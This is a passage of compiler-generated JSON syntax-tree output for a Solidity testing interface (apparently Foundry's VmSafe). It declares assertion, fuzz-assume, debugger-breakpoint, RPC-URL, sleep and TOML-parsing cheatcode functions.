failure."},"functionSelector":"1dcd1f68","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"61262:11:13","parameters":{"id":14573,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14567,"mutability":"mutable","name":"left","nameLocation":"61291:4:13","nodeType":"VariableDeclaration","scope":14575,"src":"61274:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":14565,"name":"bytes","nodeType":"ElementaryTypeName","src":"61274:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":14566,"nodeType":"ArrayTypeName","src":"61274:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":14570,"mutability":"mutable","name":"right","nameLocation":"61314:5:13","nodeType":"VariableDeclaration","scope":14575,"src":"61297:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":14568,"name":"bytes","nodeType":"ElementaryTypeName","src":"61297:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":14569,"nodeType":"ArrayTypeName","src":"61297:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":14572,"mutability":"mutable","name":"error","nameLocation":"61337:5:13","nodeType":"VariableDeclaration","scope":14575,"src":"61321:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14571,"name":"string","nodeType":"ElementaryTypeName","src":"61321:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"61273:70:13"},"returnParameters":{"id":14574,"nodeType":"ParameterList","parameters":[],"src":"61357:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14585,"nodeType":"FunctionDefinition","src":"61478:87:13","nodes":[],"documentation":{"id":14576,"nodeType":"StructuredDocumentation","src":"61364:109:13","text":"Asserts that two `uint256` values are not equal and includes error message into revert string on failure."},"functionSelector":"98f9bdbd","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"61487:11:13","parameters":{"id":14583,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14578,"mutability":"mutable","name":"left","nameLocation":"61507:4:13","nodeType":"VariableDeclaration","scope":14585,"src":"61499:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14577,"name":"uint256","nodeType":"ElementaryTypeName","src":"61499:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14580,"mutability":"mutable","name":"right","nameLocation":"61521:5:13","nodeType":"VariableDeclaration","scope":14585,"src":"61513:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14579,"name":"uint256","nodeType":"ElementaryTypeName","src":"61513:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14582,"mutability":"mutable","name":"error","nameLocation":"61544:5:13","nodeType":"VariableDeclaration","scope":14585,"src":"61528:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14581,"name":"string","nodeType":"ElementaryTypeName","src":"61528:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"61498:52:13"},"returnParameters":{"id":14584,"nodeType":"ParameterList","parameters":[],"src":"61564:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14593,"nodeType":"FunctionDefinition","src":"61627:62:13","nodes":[],"documentation":{"id":14586,"nodeType":"StructuredDocumentation","src":"61571:51:13","text":"Asserts that two `int256` values are not equal."},"functionSelector":"f4c004e3","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"61636:11:13","parameters":{"id":14591,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14588,"mutability":"mutable","name":"left","nameLocation":"61655:4:13","nodeType":"VariableDeclaration","scope":14593,"src":"61648:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14587,"name":"int256","nodeType":"ElementaryTypeName","src":"61648:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14590,"mutability":"mutable","name":"right","nameLocation":"61668:5:13","nodeType":"VariableDeclaration","scope":14593,"src":"61661:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14589,"name":"int256","nodeType":"ElementaryTypeName","src":"61661:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"61647:27:13"},"returnParameters":{"id":14592,"nodeType":"ParameterList","parameters":[],"src":"61688:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14603,"nodeType":"FunctionDefinition","src":"61808:85:13","nodes":[],"documentation":{"id":14594,"nodeType":"StructuredDocumentation","src":"61695:108:13","text":"Asserts that two `int256` values are not equal and includes error message into revert string on failure."},"functionSelector":"4724c5b9","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"61817:11:13","parameters":{"id":14601,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14596,"mutability":"mutable","name":"left","nameLocation":"61836:4:13","nodeType":"VariableDeclaration","scope":14603,"src":"61829:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14595,"name":"int256","nodeType":"ElementaryTypeName","src":"61829:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14598,"mutability":"mutable","name":"right","nameLocation":"61849:5:13","nodeType":"VariableDeclaration","scope":14603,"src":"61842:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14597,"name":"int256","nodeType":"ElementaryTypeName","src":"61842:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14600,"mutability":"mutable","name":"error","nameLocation":"61872:5:13","nodeType":"VariableDeclaration","scope":14603,"src":"61856:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14599,"name":"string","nodeType":"ElementaryTypeName","src":"61856:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"61828:50:13"},"returnParameters":{"id":14602,"nodeType":"ParameterList","parameters":[],"src":"61892:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14611,"nodeType":"FunctionDefinition","src":"61956:64:13","nodes":[],"documentation":{"id":14604,"nodeType":"StructuredDocumentation","src":"61899:52:13","text":"Asserts that two `address` values are not equal."},"functionSelector":"b12e1694","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"61965:11:13","parameters":{"id":14609,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14606,"mutability":"mutable","name":"left","nameLocation":"61985:4:13","nodeType":"VariableDeclaration","scope":14611,"src":"61977:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14605,"name":"address","nodeType":"ElementaryTypeName","src":"61977:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":14608,"mutability":"mutable","name":"right","nameLocation":"61999:5:13","nodeType":"VariableDeclaration","scope":14611,"src":"61991:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14607,"name":"address","nodeType":"ElementaryTypeName","src":"61991:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"61976:29:13"},"returnParameters":{"id":14610,"nodeType":"ParameterList","parameters":[],"src":"62019:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14621,"nodeType":"FunctionDefinition","src":"62140:87:13","nodes":[],"documentation":{"id":14612,"nodeType":"StructuredDocumentation","src":"62026:109:13","text":"Asserts that two `address` values are not equal and includes error message into revert string on failure."},"functionSelector":"8775a591","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"62149:11:13","parameters":{"id":14619,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14614,"mutability":"mutable","name":"left","nameLocation":"62169:4:13","nodeType":"VariableDeclaration","scope":14621,"src":"62161:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14613,"name":"address","nodeType":"ElementaryTypeName","src":"62161:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":14616,"mutability":"mutable","name":"right","nameLocation":"62183:5:13","nodeType":"VariableDeclaration","scope":14621,"src":"62175:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14615,"name":"address","nodeType":"ElementaryTypeName","src":"62175:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":14618,"mutability":"mutable","name":"error","nameLocation":"62206:5:13","nodeType":"VariableDeclaration","scope":14621,"src":"62190:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14617,"name":"string","nodeType":"ElementaryTypeName","src":"62190:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"62160:52:13"},"returnParameters":{"id":14620,"nodeType":"ParameterList","parameters":[],"src":"62226:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14629,"nodeType":"FunctionDefinition","src":"62290:64:13","nodes":[],"documentation":{"id":14622,"nodeType":"StructuredDocumentation","src":"62233:52:13","text":"Asserts that two `bytes32` values are not equal."},"functionSelector":"898e83fc","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"62299:11:13","parameters":{"id":14627,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14624,"mutability":"mutable","name":"left","nameLocation":"62319:4:13","nodeType":"VariableDeclaration","scope":14629,"src":"62311:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14623,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62311:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14626,"mutability":"mutable","name":"right","nameLocation":"62333:5:13","nodeType":"VariableDeclaration","scope":14629,"src":"62325:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14625,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62325:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"62310:29:13"},"returnParameters":{"id":14628,"nodeType":"ParameterList","parameters":[],"src":"62353:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14639,"nodeType":"FunctionDefinition","src":"62474:87:13","nodes":[],"documentation":{"id":14630,"nodeType":"StructuredDocumentation","src":"62360:109:13","text":"Asserts that two `bytes32` values are not equal and includes error message into revert string on failure."},"functionSelector":"b2332f51","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"62483:11:13","parameters":{"id":14637,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14632,"mutability":"mutable","name":"left","nameLocation":"62503:4:13","nodeType":"VariableDeclaration","scope":14639,"src":"62495:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14631,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62495:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14634,"mutability":"mutable","name":"right","nameLocation":"62517:5:13","nodeType":"VariableDeclaration","scope":14639,"src":"62509:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14633,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62509:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14636,"mutability":"mutable","name":"error","nameLocation":"62540:5:13","nodeType":"VariableDeclaration","scope":14639,"src":"62524:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14635,"name":"string","nodeType":"ElementaryTypeName","src":"62524:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"62494:52:13"},"returnParameters":{"id":14638,"nodeType":"ParameterList","parameters":[],"src":"62560:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14645,"nodeType":"FunctionDefinition","src":"62617:50:13","nodes":[],"documentation":{"id":14640,"nodeType":"StructuredDocumentation","src":"62567:45:13","text":"Asserts that the given condition is true."},"functionSelector":"0c9fd581","implemented":false,"kind":"function","modifiers":[],"name":"assertTrue","nameLocation":"62626:10:13","parameters":{"id":14643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14642,"mutability":"mutable","name":"condition","nameLocation":"62642:9:13","nodeType":"VariableDeclaration","scope":14645,"src":"62637:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14641,"name":"bool","nodeType":"ElementaryTypeName","src":"62637:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"62636:16:13"},"returnParameters":{"id":14644,"nodeType":"ParameterList","parameters":[],"src":"62666:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14653,"nodeType":"FunctionDefinition","src":"62780:73:13","nodes":[],"documentation":{"id":14646,"nodeType":"StructuredDocumentation","src":"62673:102:13","text":"Asserts that the given condition is true and includes error message into revert string on failure."},"functionSelector":"a34edc03","implemented":false,"kind":"function","modifiers":[],"name":"assertTrue","nameLocation":"62789:10:13","parameters":{"id":14651,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14648,"mutability":"mutable","name":"condition","nameLocation":"62805:9:13","nodeType":"VariableDeclaration","scope":14653,"src":"62800:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14647,"name":"bool","nodeType":"ElementaryTypeName","src":"62800:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":14650,"mutability":"mutable","name":"error","nameLocation":"62832:5:13","nodeType":"VariableDeclaration","scope":14653,"src":"62816:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14649,"name":"string","nodeType":"ElementaryTypeName","src":"62816:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"62799:39:13"},"returnParameters":{"id":14652,"nodeType":"ParameterList","parameters":[],"src":"62852:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14659,"nodeType":"FunctionDefinition","src":"62948:46:13","nodes":[],"documentation":{"id":14654,"nodeType":"StructuredDocumentation","src":"62859:84:13","text":"If the condition is false, discard this run's fuzz inputs and generate new ones."},"functionSelector":"4c63e562","implemented":false,"kind":"function","modifiers":[],"name":"assume","nameLocation":"62957:6:13","parameters":{"id":14657,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14656,"mutability":"mutable","name":"condition","nameLocation":"62969:9:13","nodeType":"VariableDeclaration","scope":14659,"src":"62964:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14655,"name":"bool","nodeType":"ElementaryTypeName","src":"62964:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"62963:16:13"},"returnParameters":{"id":14658,"nodeType":"ParameterList","parameters":[],"src":"62993:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14665,"nodeType":"FunctionDefinition","src":"63056:51:13","nodes":[],"documentation":{"id":14660,"nodeType":"StructuredDocumentation","src":"63000:51:13","text":"Writes a breakpoint to jump to in the debugger."},"functionSelector":"f0259e92","implemented":false,"kind":"function","modifiers":[],"name":"breakpoint","nameLocation":"63065:10:13","parameters":{"id":14663,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14662,"mutability":"mutable","name":"char","nameLocation":"63092:4:13","nodeType":"VariableDeclaration","scope":14665,"src":"63076:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14661,"name":"string","nodeType":"ElementaryTypeName","src":"63076:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63075:22:13"},"returnParameters":{"id":14664,"nodeType":"ParameterList","parameters":[],"src":"63106:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14673,"nodeType":"FunctionDefinition","src":"63181:63:13","nodes":[],"documentation":{"id":14666,"nodeType":"StructuredDocumentation","src":"63113:63:13","text":"Writes a conditional breakpoint to jump to in the debugger."},"functionSelector":"f7d39a8d","implemented":false,"kind":"function","modifiers":[],"name":"breakpoint","nameLocation":"63190:10:13","parameters":{"id":14671,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14668,"mutability":"mutable","name":"char","nameLocation":"63217:4:13","nodeType":"VariableDeclaration","scope":14673,"src":"63201:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14667,"name":"string","nodeType":"ElementaryTypeName","src":"63201:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14670,"mutability":"mutable","name":"value","nameLocation":"63228:5:13","nodeType":"VariableDeclaration","scope":14673,"src":"63223:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14669,"name":"bool","nodeType":"ElementaryTypeName","src":"63223:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"63200:34:13"},"returnParameters":{"id":14672,"nodeType":"ParameterList","parameters":[],"src":"63243:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14681,"nodeType":"FunctionDefinition","src":"63299:85:13","nodes":[],"documentation":{"id":14674,"nodeType":"StructuredDocumentation","src":"63250:44:13","text":"Returns the RPC url for the given alias."},"functionSelector":"975a6ce9","implemented":false,"kind":"function","modifiers":[],"name":"rpcUrl","nameLocation":"63308:6:13","parameters":{"id":14677,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14676,"mutability":"mutable","name":"rpcAlias","nameLocation":"63331:8:13","nodeType":"VariableDeclaration","scope":14681,"src":"63315:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14675,"name":"string","nodeType":"ElementaryTypeName","src":"63315:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63314:26:13"},"returnParameters":{"id":14680,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14679,"mutability":"mutable","name":"json","nameLocation":"63378:4:13","nodeType":"VariableDeclaration","scope":14681,"src":"63364:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":14678,"name":"string","nodeType":"ElementaryTypeName","src":"63364:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63363:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":14689,"nodeType":"FunctionDefinition","src":"63449:67:13","nodes":[],"documentation":{"id":14682,"nodeType":"StructuredDocumentation","src":"63390:54:13","text":"Returns all rpc urls and their aliases as structs."},"functionSelector":"9d2ad72a","implemented":false,"kind":"function","modifiers":[],"name":"rpcUrlStructs","nameLocation":"63458:13:13","parameters":{"id":14683,"nodeType":"ParameterList","parameters":[],"src":"63471:2:13"},"returnParameters":{"id":14688,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14687,"mutability":"mutable","name":"urls","nameLocation":"63510:4:13","nodeType":"VariableDeclaration","scope":14689,"src":"63497:17:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Rpc_$12066_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Rpc[]"},"typeName":{"baseType":{"id":14685,"nodeType":"UserDefinedTypeName","pathNode":{"id":14684,"name":"Rpc","nameLocations":["63497:3:13"],"nodeType":"IdentifierPath","referencedDeclaration":12066,"src":"63497:3:13"},"referencedDeclaration":12066,"src":"63497:3:13","typeDescriptions":{"typeIdentifier":"t_struct$_Rpc_$12066_storage_ptr","typeString":"struct VmSafe.Rpc"}},"id":14686,"nodeType":"ArrayTypeName","src":"63497:5:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Rpc_$12066_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Rpc[]"}},"visibility":"internal"}],"src":"63496:19:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":14698,"nodeType":"FunctionDefinition","src":"63587:67:13","nodes":[],"documentation":{"id":14690,"nodeType":"StructuredDocumentation","src":"63522:60:13","text":"Returns all rpc urls and their aliases `[alias, url][]`."},"functionSelector":"a85a8418","implemented":false,"kind":"function","modifiers":[],"name":"rpcUrls","nameLocation":"63596:7:13","parameters":{"id":14691,"nodeType":"ParameterList","parameters":[],"src":"63603:2:13"},"returnParameters":{"id":14697,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14696,"mutability":"mutable","name":"urls","nameLocation":"63648:4:13","nodeType":"VariableDeclaration","scope":14698,"src":"63629:23:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_array$_t_string_memory_ptr_$2_memory_ptr_$dyn_memory_ptr","typeString":"string[2][]"},"typeName":{"baseType":{"baseType":{"id":14692,"name":"string","nodeType":"ElementaryTypeName","src":"63629:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":14694,"length":{"hexValue":"32","id":14693,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"63636:1:13","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"nodeType":"ArrayTypeName","src":"63629:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$2_storage_ptr","typeString":"string[2]"}},"id":14695,"nodeType":"ArrayTypeName","src":"63629:11:13","typeDescriptions":{"typeIdentifier":"t_array$_t_array$_t_string_storage_$2_storage_$dyn_storage_ptr","typeString":"string[2][]"}},"visibility":"internal"}],"src":"63628:25:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":14704,"nodeType":"FunctionDefinition","src":"63735:42:13","nodes":[],"documentation":{"id":14699,"nodeType":"StructuredDocumentation","src":"63660:70:13","text":"Suspends execution of the main thread for `duration` milliseconds."},"functionSelector":"fa9d8713","implemented":false,"kind":"function","modifiers":[],"name":"sleep","nameLocation":"63744:5:13","parameters":{"id":14702,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14701,"mutability":"mutable","name":"duration","nameLocation":"63758:8:13","nodeType":"VariableDeclaration","scope":14704,"src":"63750:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14700,"name":"uint256","nodeType":"ElementaryTypeName","src":"63750:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"63749:18:13"},"returnParameters":{"id":14703,"nodeType":"ParameterList","parameters":[],"src":"63776:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14714,"nodeType":"FunctionDefinition","src":"63862:95:13","nodes":[],"documentation":{"id":14705,"nodeType":"StructuredDocumentation","src":"63814:43:13","text":"Checks if `key` exists in a TOML table."},"functionSelector":"600903ad","implemented":false,"kind":"function","modifiers":[],"name":"keyExistsToml","nameLocation":"63871:13:13","parameters":{"id":14710,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14707,"mutability":"mutable","name":"toml","nameLocation":"63901:4:13","nodeType":"VariableDeclaration","scope":14714,"src":"63885:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14706,"name":"string","nodeType":"ElementaryTypeName","src":"63885:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14709,"mutability":"mutable","name":"key","nameLocation":"63923:3:13","nodeType":"VariableDeclaration","scope":14714,"src":"63907:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14708,"name":"string","nodeType":"ElementaryTypeName","src":"63907:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63884:43:13"},"returnParameters":{"id":14713,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14712,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14714,"src":"63951:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14711,"name":"bool","nodeType":"ElementaryTypeName","src":"63951:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"63950:6:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":14724,"nodeType":"FunctionDefinition","src":"64038:101:13","nodes":[],"documentation":{"id":14715,"nodeType":"StructuredDocumentation","src":"63963:70:13","text":"Parses a string of TOML data at `key` and coerces it to `address`."},"functionSelector":"65e7c844","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlAddress","nameLocation":"64047:16:13","parameters":{"id":14720,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14717,"mutability":"mutable","name":"toml","nameLocation":"64080:4:13","nodeType":"VariableDeclaration","scope":14724,"src":"64064:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14716,"name":"string","nodeType":"ElementaryTypeName","src":"64064:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14719,"mutability":"mutable","name":"key","nameLocation":"64102:3:13","nodeType":"VariableDeclaration","scope":14724,"src":"64086:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14718,"name":"string","nodeType":"ElementaryTypeName","src":"64086:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64063:43:13"},"returnParameters":{"id":14723,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14722,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14724,"src":"64130:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14721,"name":"address","nodeType":"ElementaryTypeName","src":"64130:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"64129:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14735,"nodeType":"FunctionDefinition","src":"64222:139:13","nodes":[],"documentation":{"id":14725,"nodeType":"StructuredDocumentation","src":"64145:72:13","text":"Parses a string of TOML data at `key` and coerces it to 